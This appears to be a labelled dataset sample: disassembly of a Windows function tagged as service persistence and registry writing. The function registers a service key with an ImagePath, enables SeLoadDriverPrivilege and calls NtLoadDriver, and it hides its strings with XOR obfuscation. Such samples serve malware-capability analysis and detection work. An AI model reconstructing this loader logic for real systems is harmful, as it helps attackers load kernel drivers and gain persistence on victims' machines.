Function at 0x140015350
Capabilities:
Persist via windows service
Set registry value

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x218]
sub rsp, 0x2f0
movaps xmmword [rax - 0x38], xmm6
mov rax, qword [0x14005f080]
xor rax, rsp
mov qword [rbp + 0x1d0], rax
mov r14, rcx
xor esi, esi
mov rdi, qword [rcx + 0x10]
mov rbx, rcx
cmp qword [rcx + 0x18], 0xf
jbe 0x1400153a1
mov rbx, qword [rcx]
call fcn.140019288
mov qword [rbp + 0x130], rbx
mov qword [rbp + 0x138], rdi
lea r8, [rbp + 0x130]
mov edx, eax
lea rcx, [rsp + 0x60]
call fcn.1400150c0
nop
lea rcx, [rsp + 0x60]
cmp qword [rsp + 0x78], 7
cmova rcx, qword [rsp + 0x60]
mov rax, qword [rsp + 0x70]
lea r11, [rcx + rax*2]
mov r10, r11
mov rdx, r11
call fcn.140015230
cmp rax, r11
je 0x14001540d
lea rdx, [r10 - 2]
movzx ecx, word [rdx]
cmp cx, 0x5c
je 0x14001540d
cmp cx, 0x2f
je 0x14001540d
mov r10, rdx
cmp rax, rdx
jne 0x1400153f2
sub r11, r10
sar r11, 1
xorps xmm0, xmm0
movups xmmword [rbp + 0x100], xmm0
mov qword [rbp + 0x110], rsi
mov qword [rbp + 0x118], rsi
mov r8, r11
mov rdx, r10
lea rcx, [rbp + 0x100]
call fcn.14000b910
nop
lea rdx, [rbp + 0xd0]
lea rcx, [rbp + 0x100]
call fcn.14000eed0
nop
mov rdx, qword [rbp + 0x118]
cmp rdx, 7
jbe 0x140015498
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x100]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140015493
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140016064
call fcn.140019910
movdqa xmm0, xmmword [0x140056800]
movdqu xmmword [rbp + 0x110], xmm0
mov word [rbp + 0x100], si
mov rdx, qword [rsp + 0x78]
cmp rdx, 7
jbe 0x1400154f1
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400154ec
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001606a
call fcn.140019910
movdqa xmm0, xmmword [0x140056800]
movdqu xmmword [rsp + 0x70], xmm0
mov word [rsp + 0x60], si
mov r13, qword [rbp + 0xe0]
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
sub rax, r13
cmp rax, 0x22
jb 0x140016070
lea r12, [rbp + 0xd0]
cmp qword [rbp + 0xe8], 0xf
cmova r12, qword [rbp + 0xd0]
xorps xmm0, xmm0
movups xmmword [rbp + 0xb0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xc0], xmm1
lea r15, [r13 + 0x22]
mov ebx, 0xf
mov edi, ebx
lea rsi, [rbp + 0xb0]
movabs rax, 0x8000000000000000
lea edx, [rbx + 7]
cmp r15, rbx
jbe 0x1400155e1
mov rdi, r15
or rdi, rbx
cmp rdi, rcx
jbe 0x1400155a6
mov rdi, rcx
add rax, 0x27
mov rcx, rax
call fcn.140019cdc
test rax, rax
je 0x14001608e
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x1400155da
cmp rdi, rdx
cmovb rdi, rdx
lea rcx, [rdi + 1]
cmp rcx, 0x1000
jb 0x1400155c9
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140016058
jmp 0x140015587
test rcx, rcx
je 0x1400155d8
call fcn.140019cdc
mov rsi, rax
jmp 0x1400155da
xor esi, esi
mov qword [rbp + 0xb0], rsi
mov qword [rbp + 0xc0], r15
mov qword [rbp + 0xc8], rdi
movups xmm0, xmmword [str.SYSTEMCurrentControlSetServices_]
movups xmmword [rsi], xmm0
movups xmm1, xmmword [0x140056718]
movups xmmword [rsi + 0x10], xmm1
movzx eax, word [0x140056728]
mov word [rsi + 0x20], ax
lea rcx, [rsi + 0x22]
mov r8, r13
mov rdx, r12
call fcn.14003ef70
mov byte [rsi + r15], 0
mov r15, qword [r14 + 0x10]
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
sub rax, r15
cmp rax, 4
jb 0x140016076
cmp qword [r14 + 0x18], 0xf
jbe 0x14001564b
mov r14, qword [r14]
xorps xmm0, xmm0
movups xmmword [rbp + 0x90], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xa0], xmm1
lea rsi, [r15 + 4]
lea rdi, [rbp + 0x90]
cmp rsi, 0xf
jbe 0x1400156ee
mov rbx, rsi
or rbx, 0xf
cmp rbx, rcx
jbe 0x1400156ad
mov rbx, rcx
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140019cdc
test rax, rax
je 0x14001607c
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x1400156e7
cmp rbx, 0x16
mov eax, 0x16
cmovb rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x1400156d6
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14001605e
jmp 0x14001568e
test rcx, rcx
je 0x1400156e5
call fcn.140019cdc
mov rdi, rax
jmp 0x1400156e7
xor edi, edi
mov qword [rbp + 0x90], rdi
mov qword [rbp + 0xa0], rsi
mov qword [rbp + 0xa8], rbx
mov dword [rdi], 0x5c3f3f5c
lea rcx, [rdi + 4]
mov r8, r15
mov rdx, r14
call fcn.14003ef70
mov byte [rdi + rsi], 0
lea rdx, [rbp + 0xb0]
cmp qword [rbp + 0xc8], 0xf
cmova rdx, qword [rbp + 0xb0]
lea r8, [rbp + 0x60]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
je 0x14001592a
movabs rax, 0xb7d072cfe92d4f29
mov qword [rbp + 0x130], rax
movabs rax, 0xe51eee8ebe1b7c96
mov qword [rbp + 0x138], rax
movabs rax, 0x11c546c1b34b44b3
mov qword [rbp + 0x140], rax
movabs rax, 0x94945894b9f588
mov qword [rbp + 0x148], rax
movabs rax, 0x90be138cc9706272
mov qword [rbp + 0x100], rax
movabs rax, 0x806a8febcc785ce2
mov qword [rbp + 0x108], rax
movabs rax, 0x74a62fb7c12e3793
mov qword [rbp + 0x110], rax
movabs rax, 0x949452eddc9ea8
mov qword [rbp + 0x118], rax
movups xmm0, xmmword [rbp + 0x100]
movups xmm1, xmmword [rbp + 0x110]
xorps xmm0, xmmword [rbp + 0x130]
movdqa xmmword [rsp + 0x30], xmm0
xorps xmm1, xmmword [rbp + 0x140]
movdqa xmmword [rsp + 0x40], xmm1
lea rcx, [rsp + 0x30]
call fcn.140001280
xor bl, bl
mov rdx, qword [rbp + 0xa8]
cmp rdx, 0xf
jbe 0x140015842
inc rdx
mov rcx, qword [rbp + 0x90]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001583d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001607c
call fcn.140019910
movdqa xmm0, xmmword [0x140056810]
movdqu xmmword [rbp + 0xa0], xmm0
mov byte [rbp + 0x90], 0
mov rdx, qword [rbp + 0xc8]
cmp rdx, 0xf
jbe 0x14001589a
inc rdx
mov rcx, qword [rbp + 0xb0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140015895
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001608e
call fcn.140019910
movdqa xmm0, xmmword [0x140056810]
movdqu xmmword [rbp + 0xc0], xmm0
mov byte [rbp + 0xb0], 0
mov rdx, qword [rbp + 0xe8]
cmp rdx, 0xf
jbe 0x1400158f2
inc rdx
mov rcx, qword [rbp + 0xd0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400158ed
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140016052
call fcn.140019910
movzx eax, bl
mov rcx, qword [rbp + 0x1d0]
xor rcx, rsp
call fcn.1400198f0
lea r11, [rsp + 0x2f0]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
lea rcx, [rbp + 0x90]
cmp qword [rbp + 0xa8], 0xf
cmova rcx, qword [rbp + 0x90]
mov eax, dword [rbp + 0xa0]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rcx
mov r9d, 2
lea r8, str.ImagePath
xor edx, edx
mov rcx, qword [rbp + 0x60]
call qword [sym.imp.ADVAPI32.dll_RegSetKeyValueA]
mov rcx, qword [rbp + 0x60]
test eax, eax
je 0x140015a83
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
movabs rax, 0xb7d072cfe92d4f29
mov qword [rbp + 0x100], rax
movabs rax, 0xe51eee8ebe1b7c96
mov qword [rbp + 0x108], rax
movabs rax, 0x11c546c1b34b44b3
mov qword [rbp + 0x110], rax
movabs rax, 0x94945894b9f588
mov qword [rbp + 0x118], rax
movabs rax, 0xc8f814bb7855b55d
mov qword [rbp + 0x120], rax
movabs rcx, 0x8fdf36ea95ca74ca
movabs rax, 0x90be138cc9706272
mov qword [rsp + 0x30], rax
movabs rax, 0x806a8febcc785ce2
mov qword [rsp + 0x38], rax
movabs rax, 0x41a021a0de026393
mov qword [rsp + 0x40], rax
movabs rax, 0x67f1e678b3d181e9
mov qword [rsp + 0x48], rax
movabs rax, 0xa98e34c20a21c634
mov qword [rsp + 0x50], rax
movabs rax, 0x8fdf36ea9faf01a6
mov qword [rsp + 0x58], rax
mov qword [rbp + 0x128], rcx
movups xmm0, xmmword [rsp + 0x30]
movups xmm1, xmmword [rsp + 0x40]
movups xmm2, xmmword [rsp + 0x50]
xorps xmm0, xmmword [rbp + 0x100]
movdqa xmmword [rbp + 0x130], xmm0
xorps xmm1, xmmword [rbp + 0x110]
movdqa xmmword [rbp + 0x140], xmm1
xorps xmm2, xmmword [rbp + 0x120]
movdqa xmmword [rbp + 0x150], xmm2
lea rcx, [rbp + 0x130]
jmp 0x1400157fa
mov dword [rsp + 0x28], 4
lea rax, [0x1400567f0]
mov qword [rsp + 0x20], rax
mov r9d, 4
lea r8, str.Type
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_RegSetKeyValueA]
mov rcx, qword [rbp + 0x60]
test eax, eax
je 0x140015b72
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
movabs rax, 0xb7d072cfe92d4f29
mov qword [rbp + 0x100], rax
movabs rax, 0xe51eee8ebe1b7c96
mov qword [rbp + 0x108], rax
movabs rax, 0x11c546c1b34b44b3
mov qword [rbp + 0x110], rax
movabs rax, 0x94945894b9f588
mov qword [rbp + 0x118], rax
movabs rax, 0xc8f814bb7855b55d
mov qword [rbp + 0x120], rax
movabs rcx, 0x8fdf36ea95ca74ca
movabs rax, 0x90be138cc9706272
mov qword [rsp + 0x30], rax
movabs rax, 0x806a8febcc785ce2
mov qword [rsp + 0x38], rax
movabs rax, 0x31e223b1ca1f6393
mov qword [rsp + 0x40], rax
movabs rax, 0x79e6e02bfdde90fa
mov qword [rsp + 0x48], rax
movabs rax, 0xc8f271ce1434c37d
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], rcx
jmp 0x140015a34
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rcx, [0x14004dcd8]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rdi, rax
test rax, rax
je 0x1400157ff
lea rdx, str.RtlAdjustPrivilege
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
lea rdx, str.NtLoadDriver
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
lea r9, [rbp + 0x68]
xor r8d, r8d
mov dl, 1
lea ecx, [r8 + 0xa]
call rbx
test eax, eax
jns 0x140015def
movabs rax, 0xb7d072cfe92d4f29
mov qword [rbp + 0x160], rax
movabs rax, 0xe51eee8ebe1b7c96
mov qword [rbp + 0x168], rax
movabs rax, 0x11c546c1b34b44b3
mov qword [rbp + 0x170], rax
movabs rax, 0x94945894b9f588
mov qword [rbp + 0x178], rax
movabs rax, 0xc8f814bb7855b55d
mov qword [rbp + 0x180], rax
movabs rcx, 0x8fdf36ea95ca74ca
mov qword [rbp + 0x188], rcx
movabs rax, 0xf22e810d2b6c9b77
mov qword [rbp + 0x190], rax
movabs rax, 0x4d948b4f60b80fc
mov qword [rbp + 0x198], rax
movabs rax, 0x4301e5b75fb92511
mov qword [rbp + 0x1a0], rax
movabs rax, 0x9d58d656b9ecf43e
mov qword [rbp + 0x1a8], rax
movabs rax, 0x34ba2029a2c0bbdb
mov qword [rbp + 0x1b0], rax
movabs rax, 0xc1c86720fb68f190
mov qword [rbp + 0x1b8], rax
movabs rax, 0x39683463b6f6e765
mov qword [rbp + 0x1c0], rax
movabs rcx, 0xd7428ab2e5d99252
mov qword [rbp + 0x1c8], rcx
movabs rax, 0xc5b552a388592e6f
mov qword [rbp - 0x80], rax
movabs rax, 0x8c7f88ae846913e4
mov qword [rbp - 0x78], rax
movabs rax, 0x70e529b5932f21df
mov qword [rbp - 0x70], rax
movabs rax, 0x53b4f12afdcc84eb
mov qword [rbp - 0x68], rax
movabs rax, 0x8ca750fa3719ea18
mov qword [rbp - 0x60], rax
movabs rax, 0xdd8f69b8d09c3d98
mov qword [rbp - 0x58], rax
movabs rax, 0xdc6bc6486725cd3e
mov qword [rbp - 0x50], rax
movabs rax, 0x71aa68d19d6acddc
mov qword [rbp - 0x48], rax
movabs rax, 0x222190d826994063
mov qword [rbp - 0x40], rax
movabs rax, 0xf436b823cbcc914c
mov qword [rbp - 0x38], rax
movabs rax, 0x50db005ac3e0dcb5
mov qword [rbp - 0x30], rax
movabs rax, 0xa0ba1353920698fd
mov qword [rbp - 0x28], rax
movabs rax, 0x3968346998848811
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rcx
movups xmm0, xmmword [rbp - 0x80]
movups xmm1, xmmword [rbp - 0x70]
movups xmm2, xmmword [rbp - 0x60]
movups xmm3, xmmword [rbp - 0x50]
movups xmm4, xmmword [rbp - 0x40]
movups xmm5, xmmword [rbp - 0x30]
movups xmm6, xmmword [rbp - 0x20]
xorps xmm0, xmmword [rbp + 0x160]
movdqa xmmword [rbp - 0x10], xmm0
xorps xmm1, xmmword [rbp + 0x170]
movdqa xmmword [rbp], xmm1
xorps xmm2, xmmword [rbp + 0x180]
movdqa xmmword [rbp + 0x10], xmm2
xorps xmm3, xmmword [rbp + 0x190]
movdqa xmmword [rbp + 0x20], xmm3
xorps xmm4, xmmword [rbp + 0x1a0]
movdqa xmmword [rbp + 0x30], xmm4
xorps xmm5, xmmword [rbp + 0x1b0]
movdqa xmmword [rbp + 0x40], xmm5
xorps xmm6, xmmword [rbp + 0x1c0]
movdqa xmmword [rbp + 0x50], xmm6
lea rcx, [rbp - 0x10]
jmp 0x1400157fa
lea r8, [rbp + 0xd0]
cmp qword [rbp + 0xe8], 0xf
cmova r8, qword [rbp + 0xd0]
add r8, qword [rbp + 0xe0]
lea rdx, [rbp + 0xd0]
cmp qword [rbp + 0xe8], 0xf
cmova rdx, qword [rbp + 0xd0]
lea rcx, [rbp + 0x70]
call fcn.1400165a0
nop
lea r8, [rbp + 0x70]
lea rdx, str.RegistryMachineSystemCurrentControlSetServices_
lea rcx, [rsp + 0x30]
call fcn.14000b230
mov rbx, rax
lea rax, [rbp + 0x70]
cmp rax, rbx
je 0x140015ecb
mov rdx, qword [rbp + 0x88]
cmp rdx, 7
jbe 0x140015e92
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140015e8d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140016082
call fcn.140019910
movdqa xmm0, xmmword [0x140056800]
movdqu xmmword [rbp + 0x80], xmm0
xor esi, esi
mov word [rbp + 0x70], si
movups xmm0, xmmword [rbx]
movups xmmword [rbp + 0x70], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rbp + 0x80], xmm1
mov qword [rbx + 0x10], rsi
mov qword [rbx + 0x18], 7
mov word [rbx], si
jmp 0x140015ecd
xor esi, esi
mov rdx, qword [rsp + 0x48]
cmp rdx, 7
jbe 0x140015f0f
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140015f0a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140016082
call fcn.140019910
lea rdx, [rbp + 0x70]
cmp qword [rbp + 0x88], 7
cmova rdx, qword [rbp + 0x70]
lea rcx, [rbp + 0xf0]
call qword [sym.imp.ntdll.dll_RtlInitUnicodeString]
lea rcx, [rbp + 0xf0]
call rdi
mov ebx, eax
movabs rax, 0xb7d072cfe92d4f29
mov qword [rbp + 0x130], rax
movabs rax, 0xe51eee8ebe1b7c96
mov qword [rbp + 0x138], rax
movabs rax, 0x11c546c1b34b44b3
mov qword [rbp + 0x140], rax
movabs rax, 0x94945894b9f588
mov qword [rbp + 0x148], rax
movabs rax, 0xd89c0681c9706472
mov qword [rbp + 0x100], rax
movabs rax, 0x977b98e7cc5f18f7
mov qword [rbp + 0x108], rax
movabs rax, 0x31b633b5d23f1793
mov qword [rbp + 0x110], rax
movabs rax, 0x949e20f89c8db8
mov qword [rbp + 0x118], rax
movups xmm0, xmmword [rbp + 0x100]
movups xmm1, xmmword [rbp + 0x110]
xorps xmm0, xmmword [rbp + 0x130]
movdqa xmmword [rsp + 0x30], xmm0
xorps xmm1, xmmword [rbp + 0x140]
movdqa xmmword [rsp + 0x40], xmm1
mov edx, ebx
lea rcx, [rsp + 0x30]
call fcn.140001280
shr ebx, 0x1f
xor bl, 1
mov rdx, qword [rbp + 0x88]
cmp rdx, 7
jbe 0x140016039
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140016034
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140016088
call fcn.140019910
movdqa xmm0, xmmword [0x140056800]
movdqu xmmword [rbp + 0x80], xmm0
mov word [rbp + 0x70], si
jmp 0x140015801
call fcn.1400236c0
nop
call fcn.140001ca0
nop
call fcn.140001ca0
nop
call fcn.1400236c0
nop
call fcn.1400236c0
int3
call fcn.140001d40
nop
call fcn.140001d40
int3
call fcn.1400236c0
nop
call fcn.1400236c0
nop
call fcn.1400236c0
nop
call fcn.1400236c0
int3